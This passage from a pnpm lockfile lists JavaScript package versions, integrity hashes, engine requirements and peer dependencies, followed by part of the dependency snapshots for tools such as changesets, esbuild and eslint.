sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-scurry@2.0.2: + resolution: {integrity: sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==} + engines: {node: 18 || 20 || >=22} + + path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + + pathe@2.0.3: + resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.2: + resolution: {integrity: sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==} + engines: {node: '>=8.6'} + + picomatch@4.0.5: + resolution: {integrity: sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==} + engines: {node: '>=12'} + + pify@4.0.1: + resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==} + engines: {node: '>=6'} + + postcss@8.5.25: + resolution: {integrity: sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==} + engines: {node: ^10 || ^12 || >=14} + + prelude-ls@1.2.1: + resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} + engines: {node: '>= 0.8.0'} + + prettier@2.8.8: + resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} + engines: {node: '>=10.13.0'} + hasBin: true + + publint@0.3.23: + resolution: {integrity: sha512-5MQipUPcB7MWw84zLUkHrg/H/UBtk3LL+A0GngTTBSsiNJLQurMUaSIRG3edlOrRz4UFe0AOKK9TZdIWviV+jQ==} + engines: {node: '>=18'} + hasBin: true + + punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + + quansync@0.2.11: + resolution: {integrity: sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==} + + quansync@1.0.0: + resolution: {integrity: sha512-5xZacEEufv3HSTPQuchrvV6soaiACMFnq1H8wkVioctoH3TRha9Sz66lOxRwPK/qZj7HPiSveih9yAyh98gvqA==} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + read-yaml-file@1.1.0: + resolution: {integrity: sha512-VIMnQi/Z4HT2Fxuwg5KrY174U1VdUIASQVWXXyqtNRtxSr9IYkn1rsI6Tb6HsrHCmB7gVpNwX6JxPTHcH6IoTA==} + engines: {node: '>=6'} + + readable-stream@3.6.2: + resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} + engines: {node: '>= 6'} + + readdirp@5.0.0: + resolution: {integrity: sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==} + engines: {node: '>= 20.19.0'} + + resolve-from@5.0.0: + resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} + engines: {node: '>=8'} + + resolve-pkg-maps@1.0.0: + resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} + + restore-cursor@3.1.0: + resolution: {integrity: sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==} + engines: {node: '>=8'} + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rolldown-plugin-dts@0.27.14: + resolution: {integrity: sha512-ZvuDDwoIpRK9RPxDXratCpklFO9QZZWndf/sd0VBFb4LEj0jj07UcHK9OCh7V4XiFz2Z89ziyBC2K6tJiDjrbw==} + engines: {node: ^22.18.0 || >=24.11.0} + peerDependencies: + '@typescript/native-preview': '*' + '@volar/typescript': ~2.4.0 + rolldown: ^1.0.0 + typescript: ^5.0.0 || ^6.0.0 || ~7.0.0 + vue-tsc: ~3.2.0 || ~3.3.0 + peerDependenciesMeta: + '@typescript/native-preview': + optional: true + '@volar/typescript': + optional: true + typescript: + optional: true + vue-tsc: + optional: true + + rolldown@1.2.2: + resolution: {integrity: sha512-opwpo1tQBAcpSUJDt94B7hhLNGOKjCdE//XXjeLrnx9b83bjnw45tXdg1b09yEw/VLFBJGZpwRULMmOZo7ol+A==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + + rollup@4.62.3: + resolution: {integrity: sha512-Gu0c0iH9FzgX1L1t7ByIbbS3Vmdz+6KHm/EsqmmC71gUQ82yvZRkTK6XzrFObSka91WUVdynqp6nsfilzr5k6Q==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + sade@1.8.1: + resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} + engines: {node: '>=6'} + + safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + + safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + + section-matter@1.0.0: + resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} + engines: {node: '>=4'} + + semver@7.8.5: + resolution: {integrity: sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==} + engines: {node: '>=10'} + hasBin: true + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + siginfo@2.0.0: + resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} + + signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + + signal-exit@4.1.0: + resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} + engines: {node: '>=14'} + + slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + spawndamnit@3.0.1: + resolution: {integrity: sha512-MmnduQUuHCoFckZoWnXsTg7JaiLBJrKFj9UI2MbRPGaJeVpsLcVBu6P/IGZovziM/YBsellCmsprgNA+w0CzVg==} + + sprintf-js@1.0.3: + resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} + + stackback@0.0.2: + resolution: {integrity: sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==} + + std-env@4.2.0: + resolution: {integrity: sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==} + + string-argv@0.3.2: + resolution: {integrity: sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==} + engines: {node: '>=0.6.19'} + + string_decoder@1.3.0: + resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-bom-string@1.0.0: + resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} + engines: {node: '>=0.10.0'} + + strip-bom@3.0.0: + resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} + engines: {node: '>=4'} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + term-size@2.2.1: + resolution: {integrity: sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==} + engines: {node: '>=8'} + + tinybench@2.9.0: + resolution: {integrity: sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==} + + tinyexec@1.2.4: + resolution: {integrity: sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg==} + engines: {node: '>=18'} + + tinyglobby@0.2.17: + resolution: {integrity: sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==} + engines: {node: '>=12.0.0'} + + tinyrainbow@3.1.1: + resolution: {integrity: sha512-yau8yJdTt989Mm0Bd/236QnzEiPf2xLLTqUZRUJOo/3CB078LSwzei343DgtJVmfJKJE3TMINY1u42SQsP6mXw==} + engines: {node: '>=14.0.0'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + tree-kill@1.2.2: + resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==} + hasBin: true + + ts-api-utils@2.5.0: + resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==} + engines: {node: '>=18.12'} + peerDependencies: + typescript: '>=4.8.4' + + tsdown@0.22.14: + resolution: {integrity: sha512-ule7Y+fsAN2iZbLDoo7C4KYljFJNJJ+fLshyn+9gozeTspVersWHxwdGB+Dm2hzA38s6muFnUTl0jK3vJm9ifQ==} + engines: {node: ^22.18.0 || >=24.11.0} + hasBin: true + peerDependencies: + '@arethetypeswrong/core': ^0.18.1 + '@tsdown/css': 0.22.14 + '@tsdown/exe': 0.22.14 + '@vitejs/devtools': '*' + publint: ^0.3.8 + tsx: '*' + typescript: ^5.0.0 || ^6.0.0 || ^7.0.0 + unplugin-unused: ^0.5.0 + unrun: '*' + peerDependenciesMeta: + '@arethetypeswrong/core': + optional: true + '@tsdown/css': + optional: true + '@tsdown/exe': + optional: true + '@vitejs/devtools': + optional: true + publint: + optional: true + tsx: + optional: true + typescript: + optional: true + unplugin-unused: + optional: true + unrun: + optional: true + + type-check@0.4.0: + resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} + engines: {node: '>= 0.8.0'} + + typescript-eslint@8.65.0: + resolution: {integrity: sha512-/ggrHAwyjENDusvyxbuqxAC2dTnZg/Z8F+fgQtYIz+L6n/9HfSlEZcFGV/NsMNa6CkGk0xUjUAFwC0vHOflvIA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + typescript@5.6.1-rc: + resolution: {integrity: sha512-E3b2+1zEFu84jB0YQi9BORDjz9+jGbwwy1Zi3G0LUNw7a7cePUrHMRNy8aPh53nXpkFGVHSxIZo5vKTfYaFiBQ==} + engines: {node: '>=14.17'} + hasBin: true + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + unconfig-core@7.5.0: + resolution: {integrity: sha512-Su3FauozOGP44ZmKdHy2oE6LPjk51M/TRRjHv2HNCWiDvfvCoxC2lno6jevMA91MYAdCdwP05QnWdWpSbncX/w==} + + undici-types@6.21.0: + resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} + + universalify@0.1.2: + resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} + engines: {node: '>= 4.0.0'} + + uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + validate-npm-package-name@5.0.1: + resolution: {integrity: sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + verkit@0.3.2: + resolution: {integrity: sha512-zj/ob3UsvJGN0whEAKFp53REA5X66hvffVqoCtVQAakJKnKlH+/PcOfMoFwIG/o4rElqLv/ycAFlx8ZlXUorCg==} + engines: {node: '>=18.12.0'} + + vite@7.3.6: + resolution: {integrity: sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + peerDependencies: + '@types/node': ^20.19.0 || >=22.12.0 + jiti: '>=1.21.0' + less: ^4.0.0 + lightningcss: ^1.21.0 + sass: ^1.70.0 + sass-embedded: ^1.70.0 + stylus: '>=0.54.8' + sugarss: ^5.0.0 + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vitest@4.1.10: + resolution: {integrity: sha512-R9jUTe5S4Qb0HCd4TNqpC7oGcrMssMRGXLW80ubjWsW9VH5GF8y1Y0SFLY9AbqSk6nt0PnOx4H4WNJYZ13GUPw==} + engines: {node: ^20.0.0 || ^22.0.0 || >=24.0.0} + hasBin: true + peerDependencies: + '@edge-runtime/vm': '*' + '@opentelemetry/api': ^1.9.0 + '@types/node': ^20.0.0 || ^22.0.0 || >=24.0.0 + '@vitest/browser-playwright': 4.1.10 + '@vitest/browser-preview': 4.1.10 + '@vitest/browser-webdriverio': 4.1.10 + '@vitest/coverage-istanbul': 4.1.10 + '@vitest/coverage-v8': 4.1.10 + '@vitest/ui': 4.1.10 + happy-dom: '*' + jsdom: '*' + vite: ^6.0.0 || ^7.0.0 || ^8.0.0 + peerDependenciesMeta: + '@edge-runtime/vm': + optional: true + '@opentelemetry/api': + optional: true + '@types/node': + optional: true + '@vitest/browser-playwright': + optional: true + '@vitest/browser-preview': + optional: true + '@vitest/browser-webdriverio': + optional: true + '@vitest/coverage-istanbul': + optional: true + '@vitest/coverage-v8': + optional: true + '@vitest/ui': + optional: true + happy-dom: + optional: true + jsdom: + optional: true + + wcwidth@1.0.1: + resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + why-is-node-running@2.3.0: + resolution: {integrity: sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==} + engines: {node: '>=8'} + hasBin: true + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + yaml@2.9.0: + resolution: {integrity: sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==} + engines: {node: '>= 14.6'} + hasBin: true + + yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + + yuku-ast@0.8.3: + resolution: {integrity: sha512-8x34yU5uhHUnJXzy2Qvjvec/vE9BzS0/2khVT1MsLmSLO/P8Q1Wp8IxHv+IhD+HMYETk6kherOSvP4JPWw2joQ==} + + yuku-codegen@0.8.3: + resolution: {integrity: sha512-okdo5bb+TfebQa4JOjz9QxeT34D6CcBxu8dxaPUdFEKRdLkp+D2Fah2OanepK+XTyPXdmAJzAo9iXvYvZ/5rmg==} + + yuku-parser@0.8.3: + resolution: {integrity: sha512-KPQcpF9aj77ywlJBIkQWCQ9DObdxnCA8AJdUOmA5CZZx042Xt4+dvbQmPJfWxF3E+KG5dVAZ2fBKuDJ8VsKWgA==} + +snapshots: + + '@andrewbranch/untar.js@1.0.3': {} + + '@arethetypeswrong/core@0.18.5': + dependencies: + '@andrewbranch/untar.js': 1.0.3 + '@loaderkit/resolve': 1.0.6 + cjs-module-lexer: 1.4.3 + fflate: 0.8.3 + lru-cache: 11.5.2 + semver: 7.8.5 + typescript: 5.6.1-rc + validate-npm-package-name: 5.0.1 + + '@babel/runtime@7.29.7': {} + + '@braidai/lang@1.1.2': {} + + '@changesets/apply-release-plan@7.1.1': + dependencies: + '@changesets/config': 3.1.4 + '@changesets/get-version-range-type': 0.4.0 + '@changesets/git': 3.0.4 + '@changesets/should-skip-package': 0.1.2 + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + detect-indent: 6.1.0 + fs-extra: 7.0.1 + lodash.startcase: 4.4.0 + outdent: 0.5.0 + prettier: 2.8.8 + resolve-from: 5.0.0 + semver: 7.8.5 + + '@changesets/assemble-release-plan@6.0.10': + dependencies: + '@changesets/errors': 0.2.0 + '@changesets/get-dependents-graph': 2.1.4 + '@changesets/should-skip-package': 0.1.2 + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + semver: 7.8.5 + + '@changesets/changelog-git@0.2.1': + dependencies: + '@changesets/types': 6.1.0 + + '@changesets/cli@2.31.1(@types/node@20.19.43)': + dependencies: + '@changesets/apply-release-plan': 7.1.1 + '@changesets/assemble-release-plan': 6.0.10 + '@changesets/changelog-git': 0.2.1 + '@changesets/config': 3.1.4 + '@changesets/errors': 0.2.0 + '@changesets/get-dependents-graph': 2.1.4 + '@changesets/get-release-plan': 4.0.16 + '@changesets/git': 3.0.4 + '@changesets/logger': 0.1.1 + '@changesets/pre': 2.0.2 + '@changesets/read': 0.6.7 + '@changesets/should-skip-package': 0.1.2 + '@changesets/types': 6.1.0 + '@changesets/write': 0.4.0 + '@inquirer/external-editor': 1.0.3(@types/node@20.19.43) + '@manypkg/get-packages': 1.1.3 + ansi-colors: 4.1.3 + enquirer: 2.4.1 + fs-extra: 7.0.1 + mri: 1.2.0 + package-manager-detector: 0.2.11 + picocolors: 1.1.1 + resolve-from: 5.0.0 + semver: 7.8.5 + spawndamnit: 3.0.1 + term-size: 2.2.1 + transitivePeerDependencies: + - '@types/node' + + '@changesets/config@3.1.4': + dependencies: + '@changesets/errors': 0.2.0 + '@changesets/get-dependents-graph': 2.1.4 + '@changesets/logger': 0.1.1 + '@changesets/should-skip-package': 0.1.2 + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + fs-extra: 7.0.1 + micromatch: 4.0.8 + + '@changesets/errors@0.2.0': + dependencies: + extendable-error: 0.1.7 + + '@changesets/get-dependents-graph@2.1.4': + dependencies: + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + picocolors: 1.1.1 + semver: 7.8.5 + + '@changesets/get-release-plan@4.0.16': + dependencies: + '@changesets/assemble-release-plan': 6.0.10 + '@changesets/config': 3.1.4 + '@changesets/pre': 2.0.2 + '@changesets/read': 0.6.7 + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + + '@changesets/get-version-range-type@0.4.0': {} + + '@changesets/git@3.0.4': + dependencies: + '@changesets/errors': 0.2.0 + '@manypkg/get-packages': 1.1.3 + is-subdir: 1.2.0 + micromatch: 4.0.8 + spawndamnit: 3.0.1 + + '@changesets/logger@0.1.1': + dependencies: + picocolors: 1.1.1 + + '@changesets/parse@0.4.3': + dependencies: + '@changesets/types': 6.1.0 + js-yaml: 4.3.1 + + '@changesets/pre@2.0.2': + dependencies: + '@changesets/errors': 0.2.0 + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + fs-extra: 7.0.1 + + '@changesets/read@0.6.7': + dependencies: + '@changesets/git': 3.0.4 + '@changesets/logger': 0.1.1 + '@changesets/parse': 0.4.3 + '@changesets/types': 6.1.0 + fs-extra: 7.0.1 + p-filter: 2.1.0 + picocolors: 1.1.1 + + '@changesets/should-skip-package@0.1.2': + dependencies: + '@changesets/types': 6.1.0 + '@manypkg/get-packages': 1.1.3 + + '@changesets/types@4.1.0': {} + + '@changesets/types@6.1.0': {} + + '@changesets/write@0.4.0': + dependencies: + '@changesets/types': 6.1.0 + fs-extra: 7.0.1 + human-id: 4.2.0 + prettier: 2.8.8 + + '@esbuild/aix-ppc64@0.28.1': + optional: true + + '@esbuild/android-arm64@0.28.1': + optional: true + + '@esbuild/android-arm@0.28.1': + optional: true + + '@esbuild/android-x64@0.28.1': + optional: true + + '@esbuild/darwin-arm64@0.28.1': + optional: true + + '@esbuild/darwin-x64@0.28.1': + optional: true + + '@esbuild/freebsd-arm64@0.28.1': + optional: true + + '@esbuild/freebsd-x64@0.28.1': + optional: true + + '@esbuild/linux-arm64@0.28.1': + optional: true + + '@esbuild/linux-arm@0.28.1': + optional: true + + '@esbuild/linux-ia32@0.28.1': + optional: true + + '@esbuild/linux-loong64@0.28.1': + optional: true + + '@esbuild/linux-mips64el@0.28.1': + optional: true + + '@esbuild/linux-ppc64@0.28.1': + optional: true + + '@esbuild/linux-riscv64@0.28.1': + optional: true + + '@esbuild/linux-s390x@0.28.1': + optional: true + + '@esbuild/linux-x64@0.28.1': + optional: true + + '@esbuild/netbsd-arm64@0.28.1': + optional: true + + '@esbuild/netbsd-x64@0.28.1': + optional: true + + '@esbuild/openbsd-arm64@0.28.1': + optional: true + + '@esbuild/openbsd-x64@0.28.1': + optional: true + + '@esbuild/openharmony-arm64@0.28.1': + optional: true + + '@esbuild/sunos-x64@0.28.1': + optional: true + + '@esbuild/win32-arm64@0.28.1': + optional: true + + '@esbuild/win32-ia32@0.28.1': + optional: true + + '@esbuild/win32-x64@0.28.1': + optional: true + + '@eslint-community/eslint-utils@4.10.1(eslint@10.8.0(jiti@2.7.0))': + dependencies: + eslint: 10.8.0(jiti@2.7.0) + eslint-visitor-keys: 3.4.3 + + '@eslint-community/regexpp@4.12.2': {} + + '@eslint/config-array@0.23.5': + dependencies: + '@eslint/object-schema': 3.0.5 + debug: 4.4.3 + minimatch: 10.2.6 + transitivePeerDependencies: + - supports-color + + '@eslint/config-helpers@0.7.0': + dependencies: + '@eslint/core': 1.2.1 + + '@eslint/core@1.2.1': + dependencies: + '@types/json-schema': 7.0.15 + + '@eslint/js@10.0.1(eslint@10.8.0(jiti@2.7.0))': + optionalDependencies: + eslint: 10.8.0(jiti@2.7.0) + + '@eslint/object-schema@3.0.5': {} + + '@eslint/plugin-kit@0.7.2': + dependencies: + '@eslint/core': 1.2.1 + levn: 0.4.1 + + '@humanfs/core@0.19.2': + dependencies: + '@humanfs/types': 0.15.0 + + '@humanfs/node@0.16.8': + dependencies: + '@humanfs/core': 0.19.2 + '@humanfs/types': 0.15.0 + '@humanwhocodes/retry': 0.4.3 + + '@humanfs/types@0.15.0': {} + + '@humanwhocodes/module-importer@1.0.1': {} + + '@humanwhocodes/retry@0.4.3': {} + + '@iarna/toml@2.2.5': {} + + '@inquirer/ansi@2.0.7': {} + + 